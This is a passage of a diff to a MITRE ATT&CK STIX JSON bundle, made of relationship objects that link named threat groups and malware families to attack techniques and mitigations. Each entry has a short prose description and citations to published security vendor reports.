"malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + }, + { + "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.", + "source_name": "Symantec Hydraq Persistence Jan 2010", + "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can remove itself from a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--786cf397-d548-48c1-9ba6-9af66450928c", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--edcd7a59-f8e0-41e5-b0f5-8d348fa13a10", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fe314020-315d-4fbe-afdd-7751d5c69fb2", + "source_ref": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c", + "modified": "2019-09-12T17:29:15.890Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uploads data in 2048-byte chunks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RTM](https://attack.mitre.org/software/S0148) uses the command line and rundll32.exe to execute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1ca68d88-a287-4c48-a4f8-68611eceb445", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "description": "[Flame](https://attack.mitre.org/software/S0143) can use Windows Authentication Packages for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--69d05cb2-ded0-4847-b52e-af7af421f303", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts shared between Managed Service Providers and clients to move between the two environments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--13c8251c-f380-425c-b762-2298e5802dee", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell and WMI to script data collection and command execution on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c", + "source_ref": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736", + "modified": "2019-07-25T12:34:23.926Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--72cf04c6-5e0b-4743-9386-88f1f1f45899", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "source_name": "Microsoft Dofoil 2018", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used RDP to move laterally in victim networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2b8ab0c4-1226-40b6-a01e-368fafd7155c", + "source_ref": "course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "modified": "2019-07-24T14:23:59.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses net.exe to connect to network shares using net use commands with compromised credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--f43ab4db-5dea-4a1f-977a-f5d779330193", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraCharlie uses RDP for propagation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--c79796c1-88d6-4cd8-95d3-4f81d3755859", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open links or attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f3f122f1-998f-4079-afad-7a59e39f89b7", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.051Z", + "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d", + "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "modified": "2019-03-22T20:10:33.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d17517a1-f941-46a0-bcb6-d2a5b94cb24b", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses HTTP, HTTPS, FTP, and FTPS to communicate with the C2 server. [Kazuar](https://attack.mitre.org/software/S0265) can also act as a webserver and listen for inbound HTTP requests through an exposed API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--abf2b5db-184b-42af-bb52-e018977ca870", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.571Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2174c465-8855-4c92-a683-97eb0eba9f7c", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--396287ea-36d9-4d84-bf22-af559eb20f58", + "source_ref": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "modified": "2019-07-25T11:21:20.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a command-line interface to interact with systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called BruteForcer to perform a brute force attack.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "Recent versions of [Cherry Picker](https://attack.mitre.org/software/S0107) delete files and registry keys created by the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "source_name": "Trustwave Cherry Picker", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) has several commands to delete files associated with the malware from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "A [FinFisher](https://attack.mitre.org/software/S0182) variant uses DLL search order hijacking.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--328825fa-a589-4c16-abef-7e3663f1f6ec", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.361Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": 